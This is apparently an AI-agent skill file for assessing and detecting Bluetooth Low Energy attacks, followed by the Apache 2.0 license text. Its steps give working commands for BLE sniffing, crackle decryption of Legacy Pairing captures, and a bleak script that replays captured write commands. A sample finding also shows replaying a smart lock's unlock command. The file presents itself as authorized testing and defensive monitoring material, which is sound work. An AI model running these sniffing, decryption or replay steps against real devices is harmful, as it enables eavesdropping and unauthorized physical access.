--- name: detecting-bluetooth-low-energy-attacks-cd37785559f6 description: > Detects and analyzes Bluetooth Low Energy (BLE) security attacks including sniffing, replay attacks, GATT enumeration abuse, and Man-in-the-Middle interception. Uses Ubertooth One and nRF52840 sniffers for packet capture, the bleak Python library for GATT service enumeration, and crackle for BLE encryption cracking. Use when assessing IoT device BLE security, monitoring for BLE-based attacks on wireless infrastructure, or performing authorized BLE penetration testing. Activates for requests involving BLE security assessment, Ubertooth sniffing, GATT enumeration, or BLE replay detection. domain: cybersecurity subdomain: wireless-security author: mukul975 tags: [ble, bluetooth, ubertooth, nrf-sniffer, gatt, wireless-security, iot-security, replay-attack] version: 1.0.0 license: Apache-2.0 --- # Detecting Bluetooth Low Energy Attacks ## Disclaimer This skill is intended for authorized security testing, penetration testing engagements, CTF competitions, and educational purposes only. Sniffing, intercepting, or manipulating Bluetooth communications without authorization may violate federal wiretapping laws and local regulations. Always obtain explicit written permission before conducting any wireless security assessment. ## When to Use Use this skill when: - Performing authorized BLE security assessments of IoT devices, medical devices, or smart locks - Monitoring a wireless environment for BLE-based replay attacks, spoofing, or unauthorized enumeration - Analyzing BLE packet captures to detect Man-in-the-Middle attacks or pairing exploitation - Enumerating GATT services and characteristics to identify insecure read/write permissions on BLE peripherals - Assessing BLE encryption strength and testing for crackable pairing exchanges - Building BLE intrusion detection capabilities for wireless security monitoring **Do not use** for intercepting BLE communications without explicit authorization. Do not deploy BLE scanning tools in environments where wireless monitoring is prohibited. ## Prerequisites - Ubertooth One hardware for passive BLE sniffing, or Nordic nRF52840 USB Dongle with nRF Sniffer firmware - Python 3.10+ with pip - bleak library: `pip install bleak` (cross-platform BLE GATT client) - Wireshark with BLE dissector plugins for packet analysis - crackle tool for BLE encryption analysis: built from source at github.com/mikeryan/crackle - ubertooth-btle CLI tools: `apt install ubertooth` (Linux) or build from source - Bluetooth 4.0+ adapter on the host system for bleak-based scanning - Linux recommended for full Ubertooth/nRF sniffer support ## Workflow ### Step 1: BLE Environment Discovery and Device Scanning Scan the environment to identify BLE devices and their advertising data: ```bash # Scan for BLE devices using bleak (cross-platform) python -c " import asyncio from bleak import BleakScanner async def scan(): devices = await BleakScanner.discover(timeout=10.0) for d in devices: print(f'{d.address} | RSSI: {d.rssi} | Name: {d.name or \"Unknown\"}') for uuid in d.metadata.get('uuids', []): print(f' Service: {uuid}') asyncio.run(scan()) " # Passive BLE sniffing with Ubertooth One (promiscuous mode) ubertooth-btle -p -r capture.pcapng # Follow a specific BLE connection ubertooth-btle -f -t AA:BB:CC:DD:EE:FF -r connection.pcapng # Use nRF Sniffer with Wireshark (via extcap interface) wireshark -i nRF_Sniffer -k ``` ### Step 2: GATT Service and Characteristic Enumeration Connect to target BLE peripherals and enumerate their GATT profile: ```bash # Enumerate all services, characteristics, and descriptors python -c " import asyncio from bleak import BleakClient async def enum_gatt(address): async with BleakClient(address) as client: print(f'Connected: {client.is_connected}') for service in client.services: print(f'Service: {service.uuid} - {service.description}') for char in service.characteristics: props = ','.join(char.properties) print(f' Char: {char.uuid} | Props: {props}') for desc in char.descriptors: val = await client.read_gatt_descriptor(desc.handle) print(f' Desc: {desc.uuid} = {val}') asyncio.run(enum_gatt('AA:BB:CC:DD:EE:FF')) " ``` Security-relevant findings during GATT enumeration: - Characteristics with `write-without-response` or `write` without authentication - Readable characteristics exposing device configuration, credentials, or firmware versions - Missing Client Characteristic Configuration Descriptor (CCCD) protection on notification characteristics ### Step 3: BLE Packet Capture and Analysis Capture BLE traffic for offline analysis: ```bash # Capture with Ubertooth in PcapNG format (recommended) ubertooth-btle -f -r capture.pcapng # Capture in PCAP/PPI format for crackle compatibility ubertooth-btle -f -c capture_ppi.pcap # Analyze capture in Wireshark wireshark capture.pcapng # Apply display filter: btle # Filter connection requests: btle.advertising_header.pdu_type == 0x05 # Filter data packets: btle.data_header # Extract pairing information with tshark tshark -r capture.pcapng -Y "btle.control_opcode == 0x01" -T fields \ -e btle.master_bd_addr -e btle.slave_bd_addr ``` ### Step 4: BLE Encryption Analysis with Crackle Analyze captured pairing exchanges to test encryption strength: ```bash # Crack BLE Legacy Pairing (Just Works / passkey) crackle -i capture_ppi.pcap -o decrypted.pcap # Crack with known Temporary Key (TK) crackle -i capture_ppi.pcap -o decrypted.pcap -l 000000 # Analyze decrypted traffic wireshark decrypted.pcap ``` BLE Legacy Pairing with Just Works mode uses a TK of all zeros, making it trivially crackable. Passkey entry uses a 6-digit PIN (000000-999999) that can be brute-forced in under a second. Only BLE Secure Connections (LE Secure Connections with ECDH) provides adequate protection against passive eavesdropping. ### Step 5: Replay Attack Detection and Testing Monitor for and test BLE replay attack susceptibility: ```bash # Capture characteristic write operations # Record the raw bytes written to a target characteristic # Then replay the exact same bytes to test if the device accepts stale commands python -c " import asyncio from bleak import BleakClient TARGET = 'AA:BB:CC:DD:EE:FF' CHAR_UUID = '0000fff1-0000-1000-8000-00805f9b34fb' async def replay_test(): async with BleakClient(TARGET) as client: # Step 1: Read current state val = await client.read_gatt_char(CHAR_UUID) print(f'Current value: {val.hex()}') # Step 2: Write a command (captured from previous session) captured_command = bytes.fromhex('0102030405') await client.write_gatt_char(CHAR_UUID, captured_command) print('Replayed captured command') # Step 3: Verify if command was accepted new_val = await client.read_gatt_char(CHAR_UUID) print(f'New value: {new_val.hex()}') if new_val != val: print('VULNERABLE: Device accepted replayed command') asyncio.run(replay_test()) " ``` Indicators of replay vulnerability: - Device accepts previously captured write commands without freshness validation - No sequence number, timestamp, or challenge-response mechanism in the protocol - Device state changes in response to replayed commands ### Step 6: Man-in-the-Middle Detection Detect BLE MITM attacks by monitoring for anomalous behavior: ```bash # Monitor for BLE address spoofing (device impersonation) # Compare advertising data fingerprints over time # Monitor for unexpected connection parameter changes tshark -r capture.pcapng -Y "btle.control_opcode == 0x00" -T fields \ -e btle.control.interval.min -e btle.control.interval.max # Detect GATTacker/BTLEjuice MITM patterns: # - Cloned advertising data with different BD_ADDR # - Rapid connect/disconnect cycles on the same channel # - Duplicate service UUIDs from different addresses # Monitor for suspicious pairing requests tshark -r capture.pcapng -Y "btl2cap.cid == 0x0006" -T fields \ -e btsmp.opcode -e btsmp.io_capability -e btsmp.auth_req ``` ### Step 7: Continuous BLE Security Monitoring Deploy ongoing BLE monitoring for threat detection: ```bash # Run the agent in monitoring mode python agent.py --mode monitor --duration 3600 --output ble_alerts.json # Combine with Ubertooth for passive monitoring ubertooth-btle -p -r - | python agent.py --mode analyze --pcap-stdin # Alert on specific threat indicators python agent.py --mode monitor --alert-on replay,spoofing,weak-pairing ``` ## Key Concepts | Term | Definition | |------|-----------| | **BLE (Bluetooth Low Energy)** | Low-power wireless protocol (Bluetooth 4.0+) optimized for IoT devices, operating on 2.4 GHz with 40 channels (3 advertising, 37 data) | | **GATT (Generic Attribute Profile)** | BLE data model organizing device capabilities into services, characteristics, and descriptors; the primary interface for reading/writing BLE device data | | **Ubertooth One** | Open-source 2.4 GHz wireless development platform capable of passive BLE and Bluetooth Classic sniffing across all BLE channels | | **nRF Sniffer** | Nordic Semiconductor firmware for nRF52840 USB dongle that enables BLE packet capture with Wireshark integration via extcap | | **Replay Attack** | Attack where previously captured BLE commands are retransmitted to a device to trigger unauthorized actions without knowledge of encryption keys | | **Just Works Pairing** | BLE Legacy Pairing method using TK=0 with no user confirmation, providing zero protection against passive eavesdropping and MITM attacks | | **LE Secure Connections** | BLE 4.2+ pairing mode using ECDH key exchange (P-256 curve) that provides protection against passive eavesdropping; recommended over Legacy Pairing | | **Crackle** | Open-source tool that exploits weaknesses in BLE Legacy Pairing to recover the Long Term Key (LTK) and decrypt captured BLE traffic | | **GATTacker** | BLE MITM framework that clones a peripheral's GATT profile and advertising data, then relays traffic between the real device and the victim central | ## Tools & Systems - **Ubertooth One + ubertooth-btle**: Hardware sniffer and CLI tool for passive BLE packet capture in pcapng/pcap format - **nRF52840 USB Dongle + nRF Sniffer**: Nordic Semiconductor BLE sniffer with native Wireshark extcap integration - **bleak**: Cross-platform Python asyncio BLE GATT client library for device scanning, connection, and characteristic read/write - **crackle**: BLE Legacy Pairing encryption cracker that recovers LTK from captured pairing exchanges - **Wireshark**: Network protocol analyzer with BLE/BTLE dissectors for packet-level inspection of captured traffic - **GATTacker / BTLEjuice**: BLE Man-in-the-Middle frameworks for intercepting and modifying BLE traffic between central and peripheral - **tshark**: Command-line Wireshark for scripted BLE packet extraction and field analysis ## Common Pitfalls - **Ubertooth channel hopping limitations**: Ubertooth follows one connection at a time. If multiple BLE connections are active, you must target a specific device address with `-t` to follow its data channels. - **BLE 5.0 extended advertising**: Devices using BLE 5.0 extended advertising on secondary channels may not be captured by older Ubertooth firmware. Update to the latest firmware. - **bleak platform differences**: BLE scanning behavior varies across OS backends. On Linux, scanning requires root or appropriate capabilities. On macOS, device addresses are randomized UUIDs. - **crackle requires Legacy Pairing**: crackle only works against BLE Legacy Pairing (Bluetooth 4.0/4.1). LE Secure Connections (4.2+) use ECDH and cannot be cracked with this approach. - **BLE address randomization**: Many modern BLE devices use random resolvable private addresses (RPA) that rotate periodically, making device tracking and connection following more difficult. - **Capture format matters**: Use PCAP with PPI headers (`-c` flag) for crackle compatibility. PcapNG (`-r` flag) is recommended for Wireshark analysis but not supported by crackle. ## Output Format ``` ## Finding: BLE Smart Lock Accepts Replayed Unlock Commands **ID**: BLE-001 **Severity**: Critical (CVSS 9.3) **Device**: SmartLock-Pro (AA:BB:CC:DD:EE:FF) **Attack Type**: Replay Attack **Description**: The BLE smart lock accepts previously captured GATT write commands on characteristic 0000fff1-0000-1000-8000-00805f9b34fb without any freshness validation. An attacker who captures a single unlock command can replay it indefinitely to unlock the device. **Proof of Concept**: 1. Capture unlock command: ubertooth-btle -f -t AA:BB:CC:DD:EE:FF -r capture.pcap 2. Extract write payload from characteristic fff1: 01 42 A3 7F 00 3. Replay via bleak: await client.write_gatt_char(CHAR_UUID, bytes.fromhex('0142a37f00')) 4. Lock disengages without re-authentication **Impact**: Any attacker within BLE range (~100m with directional antenna) who captures a single unlock event can replay it to gain physical access to the protected area indefinitely. **Remediation**: Implement challenge-response authentication with per-session nonces. Each command should include a server-generated challenge that expires after use. Use LE Secure Connections for pairing to prevent passive capture of the pairing exchange. ``` --- Source attribution: luokai0 Original project: https://github.com/luokai0/ai-agent-skills-by-luo-kai/blob/4d2fb89cdfb75f3f6fd3c6c5ec9ad90ea129eb3c/ai-agent-skills/21-external-registries/08-pinkpixel-collection/detecting-bluetooth-low-energy-attacks/SKILL.md License: Apache-2.0 License information: https://www.apache.org/licenses/LICENSE-2.0 Original upstream instructions; downloaded from Mega AI Hub. ## Upstream license notice Apache License Version 2.0, January 2004 http://www.apache.org/licenses/ TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION 1. Definitions. "License" shall mean the terms and conditions for use, reproduction, and distribution as defined by Sections 1 through 9 of this document. "Licensor" shall mean the copyright owner or entity authorized by the copyright owner that is granting the License. "Legal Entity" shall mean the union of the acting entity and all other entities that control, are controlled by, or are under common control with that entity. For the purposes of this definition, "control" means (i) the power, direct or indirect, to cause the direction or management of such entity, whether by contract or otherwise, or (ii) ownership of fifty percent (50%) or more of the outstanding shares, or (iii) beneficial ownership of such entity. "You" (or "Your") shall mean an individual or Legal Entity exercising permissions granted by this License. "Source" form shall mean the preferred form for making modifications, including but not limited to software source code, documentation source, and configuration files. "Object" form shall mean any form resulting from mechanical transformation or translation of a Source form, including but not limited to compiled object code, generated documentation, and conversions to other media types. "Work" shall mean the work of authorship, whether in Source or Object form, made available under the License, as indicated by a copyright notice that is included in or attached to the work (an example is provided in the Appendix below). "Derivative Works" shall mean any work, whether in Source or Object form, that is based on (or derived from) the Work and for which the editorial revisions, annotations, elaborations, or other modifications represent, as a whole, an original work of authorship. For the purposes of this License, Derivative Works shall not include works that remain separable from, or merely link (or bind by name) to the interfaces of, the Work and Derivative Works thereof. "Contribution" shall mean any work of authorship, including the original version of the Work and any modifications or additions to that Work or Derivative Works thereof, that is intentionally submitted to the Licensor for inclusion in the Work by the copyright owner or by an individual or Legal Entity authorized to submit on behalf of the copyright owner. For the purposes of this definition, "submitted" means any form of electronic, verbal, or written communication sent to the Licensor or its representatives, including but not limited to communication on electronic mailing lists, source code control systems, and issue tracking systems that are managed by, or on behalf of, the Licensor for the purpose of discussing and improving the Work, but excluding communication that is conspicuously marked or otherwise designated in writing by the copyright owner as "Not a Contribution." "Contributor" shall mean Licensor and any individual or Legal Entity on behalf of whom a Contribution has been received by the Licensor and subsequently incorporated within the Work. 2. Grant of Copyright License. Subject to the terms and conditions of this License, each Contributor hereby grants to You a perpetual, worldwide, non-exclusive, no-charge, royalty-free, irrevocable copyright license to reproduce, prepare Derivative Works of, publicly display, publicly perform, sublicense, and distribute the Work and such Derivative Works in Source or Object form. 3. Grant of Patent License. Subject to the terms and conditions of this License, each Contributor hereby grants to You a perpetual, worldwide, non-exclusive, no-charge, royalty-free, irrevocable (except as stated in this section) patent license to make, have made, use, offer to sell, sell, import, and otherwise transfer the Work, where such license applies only to those patent claims licensable by such Contributor that are necessarily infringed by their Contribution(s) alone or by combination of their Contribution(s) with the Work to which such Contribution(s) was submitted. If You institute patent litigation against any entity (including a cross-claim or counterclaim in a lawsuit) alleging that the Work or a Contribution incorporated within the Work constitutes direct or contributory patent infringement, then any patent licenses granted to You under this License for that Work shall terminate as of the date such litigation is filed. 4. Redistribution. You may reproduce and distribute copies of the Work or Derivative Works thereof in any medium, with or without modifications, and in Source or Object form, provided that You meet the following conditions: (a) You must give any other recipients of the Work or Derivative Works a copy of this License; and (b) You must cause any modified files to carry prominent notices stating that You changed the files; and (c) You must retain, in the Source form of any Derivative Works that You distribute, all copyright, patent, trademark, and attribution notices from the Source form of the Work, excluding those notices that do not pertain to any part of the Derivative Works; and (d) If the Work includes a "NOTICE" text file as part of its distribution, then any Derivative Works that You distribute must include a readable copy of the attribution notices contained within such NOTICE file, excluding any notices that do not pertain to any part of the Derivative Works, in at least one of the following places: within a NOTICE text file distributed as part of the Derivative Works; within the Source form or documentation, if provided along with the Derivative Works; or, within a display generated by the Derivative Works, if and wherever such third-party notices normally appear. The contents of the NOTICE file are for informational purposes only and do not modify the License. You may add Your own attribution notices within Derivative Works that You distribute, alongside or as an addendum to the NOTICE text from the Work, provided that such additional attribution notices cannot be construed as modifying the License. You may add Your own copyright statement to Your modifications and may provide additional or different license terms and conditions for use, reproduction, or distribution of Your modifications, or for any such Derivative Works as a whole, provided Your use, reproduction, and distribution of the Work otherwise complies with the conditions stated in this License. 5. Submission of Contributions. Unless You explicitly state otherwise, any Contribution intentionally submitted for inclusion in the Work by You to the Licensor shall be under the terms and conditions of this License, without any additional terms or conditions. Notwithstanding the above, nothing herein shall supersede or modify the terms of any separate license agreement you may have executed with Licensor regarding such Contributions. 6. Trademarks. This License does not grant permission to use the trade names, trademarks, service marks, or product names of the Licensor, except as required for reasonable and customary use in describing the origin of the Work and reproducing the content of the NOTICE file. 7. Disclaimer of Warranty. Unless required by applicable law or agreed to in writing, Licensor provides the Work (and each Contributor provides its Contributions) on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied, including, without limitation, any warranties or conditions of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A PARTICULAR PURPOSE. You are solely responsible for determining the appropriateness of using or redistributing the Work and assume any risks associated with Your exercise of permissions under this License. 8. Limitation of Liability. In no event and under no legal theory, whether in tort (including negligence), contract, or otherwise, unless required by applicable law (such as deliberate and grossly negligent acts) or agreed to in writing, shall any Contributor be liable to You for damages, including any direct, indirect, special, incidental, or consequential damages of any character arising as a result of this License or out of the use or inability to use the Work (including but not limited to damages for loss of goodwill, work stoppage, computer failure or malfunction, or any and all other commercial damages or losses), even if such Contributor has been advised of the possibility of such damages. 9. Accepting Warranty or Additional Liability. While redistributing the Work or Derivative Works thereof, You may choose to offer, and charge a fee for, acceptance of support, warranty, indemnity, or other liability obligations and/or rights consistent with this License. However, in accepting such obligations, You may act only on Your own behalf and on Your sole responsibility, not on behalf of any other Contributor, and only if You agree to indemnify, defend, and hold each Contributor harmless for any liability incurred by, or claims asserted against, such Contributor by reason of your accepting any such warranty or additional liability. END OF TERMS AND CONDITIONS APPENDIX: How to apply the Apache License to your work. To apply the Apache License to your work, attach the following boilerplate notice, with the fields enclosed by brackets "[]" replaced with your own identifying information. (Don't include the brackets!) The text should be enclosed in the appropriate comment syntax for the file format. Please do not remove or change the license header comment from a contributed file except when necessary. Copyright 2026 mukul975 Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. # Mega AI Hub resource metadata Creator / publisher: luokai0 Original project: https://github.com/luokai0/ai-agent-skills-by-luo-kai/blob/4d2fb89cdfb75f3f6fd3c6c5ec9ad90ea129eb3c/ai-agent-skills/21-external-registries/08-pinkpixel-collection/detecting-bluetooth-low-energy-attacks/SKILL.md Attribution basis: Source repository record Fields of work: Development & Engineering Roles: Security Engineer Specialties: API Tools: Bleak, Crackle, Nrf52840, Ubertooth, Wireshark Country applicability: Country not specified Classification basis: Source catalog labels Instruction SHA-256: 74fe2826f8e691f0a8889fc0ec7f18541145c1a17f059b393f236dae9dee0ab2